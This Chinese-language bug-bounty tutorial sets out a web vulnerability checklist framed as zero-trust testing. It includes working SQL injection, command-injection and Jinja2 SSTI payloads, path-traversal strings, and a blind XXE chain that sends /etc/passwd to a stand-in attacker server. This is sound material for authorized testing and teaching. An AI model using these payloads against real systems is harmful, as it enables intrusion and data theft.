当前位置：首页 > news >正文

Web安全实战：40个漏洞挖掘清单与零信任攻防思维

news 2026/6/29 9:10:05

1. 项目概述：Web安全的“零信任”实战哲学

干了这么多年安全，我越来越觉得，Web安全的核心不是什么高深莫测的加密算法或者复杂的协议，而是一种深入骨髓的“怀疑精神”。项目标题里的“别太相信任何人”，就是我们这行的第一课，也是最后一课。无论是前端传来的数据、后端处理的逻辑，还是第三方依赖的库，甚至是自己写的代码，都得先打个问号。这个项目，或者说这份清单，就是把我这些年踩过的坑、挖过的洞，总结成一套可以直接上手、按图索骥的实战检查表。它不是理论教材，而是工具箱，里面装了40把不同规格的“螺丝刀”和“扳手”，专门用来拧紧那些容易被忽略的“螺丝”。

这份清单适合谁？如果你是刚入行的安全新人，它能帮你快速建立系统的漏洞挖掘视角，避免在SRC（安全应急响应中心）平台上提交一堆无效报告。如果你是有经验的开发或测试，它能成为你代码审计、渗透测试中的“备忘录”，查漏补缺。甚至如果你是项目负责人，它也能帮你理解，一个看似功能正常的Web应用，底下可能藏着多少“暗礁”。核心价值就一句话：把“零信任”原则，转化成一个个可执行、可验证的具体动作。

2. 漏洞挖掘的核心心智模型：从“信任”到“验证”

在动手之前，我们必须先统一思想。漏洞挖掘不是漫无目的地乱试，而是基于一套严密的“攻击者思维”模型。这个模型的核心，就是彻底摒弃默认的信任。

2.1 “信任边界”的重新定义

传统开发中，我们潜意识里划定了很多信任边界：比如“用户输入的数据是合法的”、“来自内网的请求是安全的”、“调用的第三方API是可靠的”。漏洞挖掘的第一步，就是亲手打破这些边界。你需要假设：

所有输入都是恶意的：来自表单、URL参数、HTTP头、Cookie、WebSocket消息，甚至文件上传的文件名和内容，都必须视为攻击载荷。
所有输出都可能被篡改：返回给前端的数据、跳转的URL、生成的下载文件，都可能被中间人劫持或前端恶意脚本篡改，从而引发新的攻击链。
所有依赖都可能“背刺”：你使用的开源组件、引用的第三方SDK、甚至云服务商提供的API，都可能含有未知漏洞或后门。

举个例子，一个普通的登录接口，开发者可能只验证了用户名密码。但在攻击者眼里，这里是“信任边界”的缺口：能否通过SQL注入绕过登录？能否通过修改响应包伪造登录状态？能否通过爆破枚举出有效用户？能否利用忘记密码功能进行账户劫持？每一个“理所当然”的功能点，都是需要被验证的“可疑点”。

2.2 漏洞的“触发-利用-影响”三维分析

看到一个潜在漏洞点，不能只停留在“这里可能有问題”，而要完整推演其攻击链。我习惯用一个三维模型来分析：

触发条件（Trigger）：需要满足什么前置条件？是否需要认证？是否需要特定权限？输入点在哪里？
利用过程（Exploitation）：如何构造恶意输入？如何绕过现有的防护（如WAF、输入过滤）？是否需要多步骤组合？
影响范围（Impact）：成功利用后，能读取什么数据（信息泄露）？能修改什么数据（数据篡改）？能否执行系统命令（RCE）？能否提升权限（垂直越权）？能否访问他人数据（水平越权）？

比如一个文件上传功能，触发条件是找到上传点并绕过前端校验；利用过程可能是上传一个包含恶意代码的图片马（利用文件头欺骗），或者上传一个.jsp、.php后缀的文件（如果后端校验不严）；影响范围可能是获取Webshell，进而控制整个服务器。只有完整走通这个链条，才算真正理解了一个漏洞。

3. 40个实战漏洞挖掘清单详解（上）：注入与失效的身份认证

下面，我将把这40个检查项归类到OWASP Top 10的框架中，并逐一拆解其原理、挖掘手法和实战技巧。清单不是死板的，你需要像侦探一样，根据目标应用的技术栈和业务逻辑，灵活组合使用。

3.1 注入类漏洞（信任缺失的“重灾区”）

这类漏洞的本质是，将不可信的数据作为命令或查询的一部分发送给解释器，导致解释器被误导执行了非预期的命令。

1. SQL注入（SQLi）

挖掘点：所有与数据库交互的参数，尤其是GET/POST参数、Cookie、HTTP头部（如X-Forwarded-For）。
手法：
- 布尔盲注：通过页面返回的真/假差异（如“用户存在”与“用户不存在”）来逐位推断数据。常用Payload：' AND 1=1 --（真），' AND 1=2 --（假）。
- 时间盲注：当页面无明确回显时，利用数据库延时函数判断。如MySQL的SLEEP(5)：' AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0) --。
- 报错注入：利用数据库报错信息回显数据。如MySQL的updatexml()或extractvalue()：' AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1) --。
- 联合查询注入：最直接的注入，通过UNION拼接查询结果。前提是需先判断字段数：' ORDER BY 5 --，然后联合查询：' UNION SELECT 1, database(), user(), version() --。
实操心得：
- 不要只测单引号'，还要测双引号"、反引号`、括号()，以及它们的各种组合。
- 遇到WAF时，尝试编码绕过（如URL编码、Unicode编码）、注释符混淆（/**/代替空格）、大小写变换、等价函数替换（如mid()替换substring()）。
- 工具推荐与避坑：Sqlmap是神器，但别无脑跑。先用--level和--risk调低级别探测，确认有注入点后再深入。对于JSON格式或非常规参数，手动用--data和--headers构造请求。切记，在授权测试中，使用--batch和--threads过高的并发可能导致目标服务瘫痪。

2. 命令注入（Command Injection）

挖掘点：调用系统命令的功能点，如网络诊断（ping、traceroute）、文件处理、系统信息查询。
手法：通过连接符（;、&、|、&&、||）或反引号`，在预期参数后拼接系统命令。
- 例如，一个输入框用于ping操作：输入127.0.0.1; whoami，如果后端直接拼接执行ping 127.0.0.1; whoami，就会执行whoami命令。
- 在Windows下，还可以尝试|（管道）和%0a（换行符）。
实操心得：
- 黑名单过滤很容易绕过。过滤了;，可以试试%0a（换行）或%0d（回车）。过滤了空格，可以用${IFS}（在bash中）、%09（Tab）或<、>重定向符代替。
- 不仅关注回显型注入，还要注意盲注。通过DNS外带或HTTP请求外带数据：例如执行pinguser.your-domain.com，通过DNS日志查看user变量的值。

3. 模板注入（SSTI）

挖掘点：使用模板引擎（如Jinja2（Python）、Thymeleaf（Java）、Twig（PHP）、Smarty）的页面，特别是那些将用户输入直接嵌入模板的地方。
手法：
- 探测：输入{{7*7}}，如果页面返回49，则可能存在Jinja2/Twig注入。输入${7*7}，返回49可能是Velocity/FreeMarker。输入<%= 7*7 %>，返回49可能是ERB（Ruby）。
- 利用：一旦确认引擎类型，就可以构造Payload读取文件、执行命令。例如Jinja2：{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}。
实操心得：SSTI常出现在错误信息、邮件模板、PDF报告生成等场景。测试时，先模糊测试${{<%[%'\"}}%\，观察页面变化或错误信息，来判断模板引擎类型。

3.2 失效的身份认证与会话管理

这类漏洞源于对“用户是谁”和“用户的会话是否有效”的验证机制存在缺陷。

4. 弱密码与默认凭证

挖掘点：所有登录入口、后台管理入口、API认证接口。
手法：使用弱口令字典进行爆破。字典要精心准备，包括：
- 常见弱口令：admin/admin，root/123456，administrator/password。
- 目标相关的口令：公司名+年份，产品名+123，域名相关组合。
- 从其他信息泄露中生成的字典：例如从GitHub泄露的代码中提取的邮箱、人名。
实操心得：
- 爆破不是蛮干：注意观察网站的防爆破机制。是否有验证码？失败多少次会锁定账户或IP？锁定时间是多久？
- 技巧：如果锁定账户，可以尝试先低频率爆破“用户名”，找出存在的账户，再针对这些账户进行低频率密码爆破。如果锁定IP，需要准备代理池。
- 工具：Burp Suite的Intruder模块、Hydra是常用工具。配置Intruder时，注意设置正确的Payload位置和编码。

5. 会话令牌缺陷

挖掘点：Cookie中的SessionID、JWT令牌等。
手法：
- 可预测性：观察令牌是否具有规律，如递增数字、时间戳编码、用户名哈希等。尝试生成或篡改令牌，看是否能劫持他人会话。
- 不失效：登录后注销，尝试用旧的令牌是否还能访问需要认证的页面。修改密码后，旧会话是否依然有效？
- JWT安全问题：如果使用JWT，检查其是否使用弱密钥（如secret）进行签名。尝试将算法改为none（如果支持），或者使用工具（如jwt_tool）破解弱密钥后伪造令牌。
实操心得：用浏览器的开发者工具或Burp Suite的Repeater模块，反复重放携带不同会话令牌的请求，观察响应差异。对于JWT，重点关注其头部（alg字段）和签名部分。

6. 认证逻辑绕过

挖掘点：登录、重置密码、邮箱绑定、手机验证码校验等关键流程。
手法：
- 返回包状态码篡改：在登录时，拦截返回包，将HTTP 401 Unauthorized或包含false的JSON响应，修改为200 OK或true。
- 参数污染：在提交参数时，同时提交两个同名参数，如username=admin&username=test，看后端处理哪一个，有时可能绕过校验。
- 跳过步骤：在多步骤流程（如：1.输入手机号->2.输入验证码->3.设置新密码）中，尝试直接访问步骤3的URL并提交数据。
实操心得：这类漏洞需要仔细梳理应用的业务流程，画出状态图。用Burp Suite的Proxy历史记录或Target站点地图功能，理清所有请求的顺序和依赖关系，然后尝试“跳步”或“回退”。

4. 40个实战漏洞挖掘清单详解（中）：敏感数据泄露与XXE

4.1 敏感数据泄露

漏洞的核心是，系统在存储、传输或日志记录过程中，未能有效保护密码、密钥、个人身份信息等敏感数据。

7. 硬编码凭证

挖掘点：前端JavaScript文件、安卓APK/iOS IPA包、客户端软件、配置文件（如.env、config.properties）、注释代码。
手法：
- 源代码审计：在JS文件中搜索password、secret、key、token、api_key等关键词。注意可能是经过简单编码（如Base64）的。
- 逆向工程：对于客户端应用，使用反编译工具（如JD-GUI for Java, Ghidra/IDA for C++, Frida for hooking）查找字符串常量。
- 目录扫描：使用Dirsearch、Gobuster等工具扫描.git、.svn、.DS_Store目录，或bak、swp、old等备份文件，这些文件中可能包含历史版本的源代码和配置。
实操心得：养成习惯，拿到一个Web应用，先看一遍前端JS。经常能发现通往后台API的密钥、第三方服务的Access Token。对于移动App，用adb shell连上测试设备，找到App数据目录，查看本地存储的数据库或配置文件。

8. 不安全的直接对象引用（IDOR）

挖掘点：任何通过ID（数字、用户名、文件名）来访问资源的API或URL。例如：/api/user/123/profile，/download?file=report.pdf。
手法：暴力枚举或修改ID值，尝试访问不属于自己的资源。
- 水平越权：将用户ID从自己的123改为他人的124，查看能否看到他人信息。
- 垂直越权：普通用户尝试访问仅管理员可用的功能ID，如/admin/deleteUser?uid=456。
实操心得：
- 不要只改数字：ID可能是UUID、哈希值或经过编码的。尝试解码或寻找生成规律。
- 关注关联对象：例如，在查看订单/order/1001时，注意返回的JSON里是否包含了本不应看到的userId或addressId，然后用这个ID去尝试访问/user/或/address/接口。
- 工具辅助：Burp Suite的Intruder可以很方便地进行数字ID的枚举。对于复杂ID，可以编写Python脚本进行遍历。

9. 目录遍历与敏感文件泄露

挖掘点：文件读取、下载、图片查看、日志查看等功能。参数名常为file、path、url、image。
手法：使用../（或其编码形式..%2f、..\）进行路径穿越。
- 基础Payload：../../../../etc/passwd
- 绕过技巧：如果过滤了../，可以尝试双重编码..%252f，或者使用绝对路径/etc/passwd（如果系统允许）。在Windows下，尝试..\..\windows\win.ini。
实操心得：
- 利用空字节截断：在一些老式系统中（特别是PHP），可以在文件名后加空字节%00来截断后面的后缀检查。例如：image.jpg%00.pdf，系统可能只检查.pdf，但实际读取image.jpg。
- 字典很重要：准备一个全面的敏感文件路径字典，包括各操作系统的配置文件、日志文件、历史命令、源代码文件、备份文件等。

4.2 XML外部实体注入（XXE）

当应用解析用户提交的XML数据时，如果允许引用外部实体，攻击者就可以构造恶意XML，导致文件读取、内网探测、拒绝服务甚至远程代码执行。

10. XXE漏洞挖掘与利用

挖掘点：任何接受XML作为输入的功能点。常见于：
- Web Services (SOAP API)
- 文件上传（如上传Office文档，其本质是ZIP包内的XML）
- 一些REST API（Content-Type为application/xml或text/xml）

手法：

探测：提交一个包含简单外部实体的XML，观察响应是否有变化或报错。

<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://your-server.com/xxe"> ]> <root>&xxe;</root>

监听your-server.com的HTTP或DNS日志，看是否有请求发出。 2.文件读取：利用SYSTEM实体读取服务器文件。

<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>

盲XXE：当没有回显时，可以利用参数实体和外部DTD，将文件内容通过HTTP请求外带出来。

攻击者服务器（evil.dtd）：

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://your-server.com/?%file;'>"> %eval; %exfil;

提交的Payload：

<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> <root></root>

实操心得：
- 除了file://协议，还可以尝试http://、ftp://、gopher://等协议进行内网服务探测。
- 在上传功能中，尝试上传一个包含XXE Payload的SVG图片（SVG是XML格式）或DOCX/PPTX文件（解压后修改其中的[Content_Types].xml等文件）。
- 注意Java环境：Java的XML解析库（如DocumentBuilderFactory）在特定配置下，利用jar://协议可能实现RCE，但条件较为苛刻。

5. 40个实战漏洞挖掘清单详解（下）：安全配置与逻辑漏洞

5.1 安全配置错误

这类漏洞不是代码bug，而是由于管理员或开发者的疏忽，采用了不安全的默认配置、暴露了不必要的服务或信息。

11. 错误的HTTP安全头配置

挖掘点：检查所有HTTP响应头。
关键头与风险：
- 缺失Content-Security-Policy：无法有效防御XSS攻击。
- 缺失X-Content-Type-Options: nosniff：浏览器可能会对响应的内容类型进行“嗅探”，执行本应是文本的文件（如上传的图片中隐藏的HTML/JS代码）。
- 缺失X-Frame-Options: DENY或 CSP中未限制frame-ancestors：可能导致点击劫持。
- Access-Control-Allow-Origin: *：如果配置为通配符*，且站点使用凭证（Cookies），会导致严重的CORS滥用，允许任意网站读取本站点的敏感数据。
实操心得：使用浏览器开发者工具的Network面板，或使用curl -I命令，逐一检查关键页面的响应头。这是一个低投入高回报的检查项，在SRC平台中很容易因此获得积分。

12. 不必要的HTTP方法启用

挖掘点：对目标URL发送OPTIONS请求，查看返回的Allow头。
风险方法：
- PUT：允许上传文件，可能导致任意文件上传。
- DELETE：允许删除服务器资源。
- TRACE：可能用于跨站追踪攻击，泄露Cookie信息。
- CONNECT：可用于建立隧道。
实操心得：即使返回支持这些方法，也不一定代表存在漏洞，还需要后端有相应的处理逻辑。但启用这些方法无疑扩大了攻击面。测试时，尝试对某个已知资源（如/upload/test.txt）发送DELETE请求，看是否能删除。

13. 信息泄露：错误页面与调试信息

挖掘点：触发应用的错误（如非法参数、访问不存在路径）。
泄露内容：
- 堆栈跟踪：包含代码路径、类名、方法名、行号，甚至部分代码片段。这为攻击者提供了宝贵的源代码信息。
- 数据库错误信息：直接暴露SQL语句结构、表名、字段名。
- 服务器指纹：Web服务器类型版本（Apache/2.4.41）、后端语言版本（PHP 7.4.3）、框架信息（Spring Boot 2.5.0）。
实操心得：故意制造错误，如输入超长字符串、特殊字符、不存在的ID。观察是否返回了过于详细的错误信息。在生产环境中，这些信息都应被自定义的错误页面所替代。

5.2 业务逻辑漏洞

这是最考验“黑客思维”的一类漏洞，它完全违背了程序预期的业务流，但技术上可能完全合法。

14. 并发竞争条件漏洞

挖掘点：涉及资源分配、数量限制、状态变更的业务。如：限量优惠券领取、抽奖活动、余额支付、库存扣减。
手法：利用极短的时间差，同时（并发）发送多个请求，绕过业务逻辑的限制检查。
- 案例：余额支付漏洞：用户A有100元，购买一个90元的商品。正常流程：1.检查余额(100>90) -> 2.扣款(100-90=10) -> 3.生成订单。如果攻击者在步骤1和步骤2之间，同时发起另一个购买请求（如另一个商品80元），两个请求的检查都通过，导致最终扣款为100-90-80=-70，即产生了透支。
实操心得：
- 工具：使用Burp Suite的Turbo Intruder插件，或者自己写Python多线程/协程脚本，来模拟高并发请求。
- 难点：需要精确找到业务逻辑的“检查”与“执行”之间的时间窗口。通常发生在未使用数据库事务或分布式锁的场景下。

15. 订单金额篡改

挖掘点：电商网站的下单、支付环节。
手法：在提交订单或支付请求时，拦截HTTP包，修改其中的金额、数量、运费、优惠券折扣等参数。
- 负数金额：将商品价格改为-1，可能导致系统向你“支付”钱。
- 修改数量：将数量改为一个极大的数，如99999，结合库存逻辑漏洞，可能以极低成本获得大量商品。
- 修改支付状态：在回调或前端确认环节，将status从unpaid改为paid。
实操心得：测试时，不要只改一个参数。尝试组合修改：低价商品修改数量，高价商品修改单价，同时修改优惠券ID为更大面额的。务必从商品加入购物车到最终支付完成，完整地走一遍流程，拦截每一个请求。

16. 验证码逻辑绕过

挖掘点：图形验证码、短信验证码、邮箱验证码。
常见漏洞模式：
- 前端校验：验证码仅在JavaScript中校验，提交到服务器的请求中根本没有验证码参数，或者参数是固定的。
- 验证码复用：同一个验证码可以多次使用。
- 验证码与手机号/邮箱不绑定：用A手机号获取的验证码，可以用于B手机号的注册或登录。
- 验证码可爆破：验证码为4位或6位纯数字，且无错误次数限制或失效时间过长。
- 验证码回显：验证码直接在响应包（如JSON）中返回给前端。
实操心得：针对短信/邮箱验证码，准备两个测试账号。用A账号获取验证码，尝试在B账号的流程中使用。用Burp Intruder对验证码进行爆破时，注意观察响应长度的差异或返回信息的关键词（如successvserror）。

6. 漏洞挖掘实战流程与工具链

有了清单，还需要一套高效的“作战流程”和顺手的“兵器”。下面是我个人在实战中总结的一套方法。

6.1 侦查与信息收集（Reconnaissance）

这是所有测试的起点，信息收集的深度直接决定了攻击面的广度。

子域名枚举：使用subfinder、amass、assetfinder等工具，结合证书透明度日志（CT Log）、搜索引擎语法（site:*.example.com）进行收集。别忘了泛解析域名。
端口与服务扫描：对发现的IP和域名，用nmap进行全端口扫描，识别开放的端口及对应服务（-sV）。重点关注意外开放的22(SSH)、21(FTP)、6379(Redis)、27017(MongoDB)等高危服务。
目录与文件爆破：使用gobuster、dirsearch、ffuf，配合强大的字典（如SecLists中的目录字典），寻找后台登录页、备份文件、配置文件、API文档等。
指纹识别：
- Web框架/CMS：使用Wappalyzer浏览器插件或whatweb命令行工具，快速识别技术栈（如ThinkPHP, WordPress, Spring Boot）。
- 中间件与服务器：通过HTTP响应头、错误页面、默认文件特征识别。
GitHub信息泄露：使用GitHub Dorks语法搜索目标公司的代码仓库，关键词如company.com password、api_key、config、database.yml等。工具gitrob可以自动化这一过程。
JS文件分析：手动浏览网站，用浏览器开发者工具的Sources面板，仔细查看加载的所有JS文件。使用LinkFinder等工具可以自动从JS中提取API端点、子域名和敏感关键词（如api、admin、token、secret）。

注意：信息收集阶段务必控制扫描频率，避免对目标造成拒绝服务攻击。在授权测试中，应明确扫描范围。

6.2 自动化扫描与手动验证

自动化工具能提高效率，但不能替代思考。

被动扫描：配置好Burp Suite，设置好代理和Scope，然后正常浏览网站所有功能。让Burp的被动扫描器（Scanner）在后台运行，它能发现一些明显的低悬果实，如明文密码传输、缺少安全头、已知框架的默认路径等。
主动扫描：对关键功能点（登录、上传、搜索、API接口）使用Burp的主动扫描。但切记：主动扫描可能产生大量脏数据或破坏性操作（如DELETE请求）。务必在测试环境进行，或在生产环境与管理员充分沟通，使用低强度的扫描策略。
工具链整合：将信息收集的结果（子域名、URL）导入到Burp Suite的Target -> Site map中，形成一个完整的攻击面地图。然后针对每个有趣的端点进行手动测试。
手动验证：这是核心。自动化工具报告的所有漏洞，都必须手动复现一遍。很多报告是误报（如误报的SQL注入），也有很多真正的逻辑漏洞是工具无法发现的。手动测试时，要像“黑客”一样思考：如果我是开发者，这里可能会犯什么错？

6.3 漏洞利用与报告编写

发现漏洞只是第一步，清晰地证明和描述它同样重要。

最小化PoC：构造一个最简单、最直接的Payload来证明漏洞存在。例如，证明SQL注入，不需要拖出整个数据库，一个' AND '1'='1和' AND '1'='2导致的页面差异就足够了。
影响证明：在授权范围内，证明漏洞的实际危害。例如，对于IDOR，证明可以访问到其他用户的隐私信息（如手机号、地址），但不要窃取真实数据，可以用自己的两个测试账号进行演示。
报告撰写：
- 标题：清晰明了，如“【高危】目标站某处存在SQL注入漏洞，可导致数据库信息泄露”。
- 漏洞详情：包含URL、请求方法、请求包（Raw格式）、响应包。
- 重现步骤：一步一步，像教程一样，让修复人员能快速复现。
- 修复建议：给出具体、可操作的方案。不要说“请修复SQL注入”，而要说“建议在DAO层使用预编译语句（PreparedStatement），并对所有用户输入进行严格的类型检查和长度限制”。
- 风险等级：结合漏洞利用难度和影响范围，客观评定（高危、中危、低危）。

7. 高级技巧与心法：从“找漏洞”到“挖漏洞”

清单和流程可以让你入门，但要成为高手，需要一些更高级的思维模式和技巧。

7.1 “黑盒”中的“白盒”思维

即使没有源代码（黑盒测试），也要尝试推断后端代码逻辑。

观察输入输出：输入A得到X，输入B得到Y。尝试推断中间的处理逻辑是if-else还是switch-case？有没有做类型转换？
分析错误信息：错误信息是宝藏。一个报错“数组越界”，可能说明后端用了数组；报错“未找到方法”，可能暴露了使用的类库。
参数污染测试：提交id=1&id=2，看后端处理第一个还是最后一个？这能推断出使用的是request.getParameter()还是request.getParameterValues()（Java为例），从而判断可能的处理框架。

7.2 关注“边缘案例”和“异常流”

正常流程往往被测试得很充分，漏洞常藏在边缘和异常处。

边界值：数字参数的0、-1、9999999999（超大数）。字符串参数的null、空字符串、超长字符串（如10000个A）。
特殊字符：不仅仅是'和"，还有\、%、#、;、\n、\r\n、Unicode字符等。这些字符在不同语言、不同上下文中可能有特殊含义。
业务流程的“回退”与“重复”：支付成功后点击浏览器后退按钮，订单状态会怎样？连续快速点击两次提交订单按钮，会生成一个还是两个订单？

7.3 保持好奇心与耐心

遇到加密参数不要放弃：参数是加密的，不代表没漏洞。尝试重放旧的加密参数，或者观察加密是否与时间戳、用户ID等弱相关。如果前端加密，尝试分析JS加密逻辑，看能否逆向或绕过。
“这个功能应该没问题吧？”：每当有这个想法时，就是最应该去测试的时候。对任何“理所当然”的信任保持警惕。
漏洞组合：单个漏洞可能危害有限，但组合起来可能就是致命一击。例如，一个普通的文件上传（只能传图片） + 一个文件包含漏洞（可以包含上传的图片），就可能实现代码执行。

最后，这份清单和所有技巧，其灵魂就是标题那句话：别太相信任何人。这不仅是安全原则，更是一种需要持续练习的思维方式。把它应用到每一个参数、每一次交互、每一行你看到的代码中，你会发现，漏洞就在那里，等着你去发现。安全之路没有终点，这份清单也会随着技术的发展不断更新，但核心的“零信任”心智模型，将是你最可靠的武器。

查看全文

http://www.jsqmd.com/news/1088612/